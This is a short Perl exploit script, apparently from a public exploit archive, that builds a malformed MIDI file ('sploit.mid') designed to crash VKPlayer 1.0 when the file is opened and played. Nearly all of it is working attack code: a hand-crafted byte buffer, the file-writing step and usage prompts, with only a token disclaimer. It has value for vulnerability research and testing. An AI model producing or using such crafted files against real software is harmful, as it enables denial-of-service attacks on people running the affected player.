43 lines
No EOL
1.4 KiB
Perl
Executable file
43 lines
No EOL
1.4 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
|
|
# VKPlayer 1.0 (.mid) Denial of Service Exploit
|
|
# Download: http://www.brothersoft.com/vkplayer-239785.html
|
|
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
|
|
# From: Indonesia
|
|
#
|
|
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
# WARNING - WARNING - WARNING - WARNING
|
|
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
#
|
|
#
|
|
#
|
|
# Disclaimer: The author published the information under the condition
|
|
# that is not in the intention of the reader to use them in order to bring
|
|
# to himself or others a profit or to bring to others damage.
|
|
#
|
|
#
|
|
# Gr33tz: No Thanks
|
|
|
|
|
|
|
|
print "
|
|
[+]-----------------------------------------------[+]
|
|
[+] VKPlayer 1.0 (.mid) Denial of Service Exploit [+]
|
|
[+] By : cr4wl3r [+]
|
|
[+]-----------------------------------------------[+]
|
|
";
|
|
|
|
$buff =
|
|
"\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64".
|
|
"\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8".
|
|
"\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
|
|
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
|
|
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
|
|
#######################################################################################
|
|
open(file, "> sploit.mid");
|
|
print (file $buff);
|
|
#######################################################################################
|
|
print "\n[+] Done!\n
|
|
[+] Open with VKPlayer and play\n
|
|
[+] Coded by cr4wl3r\n"; |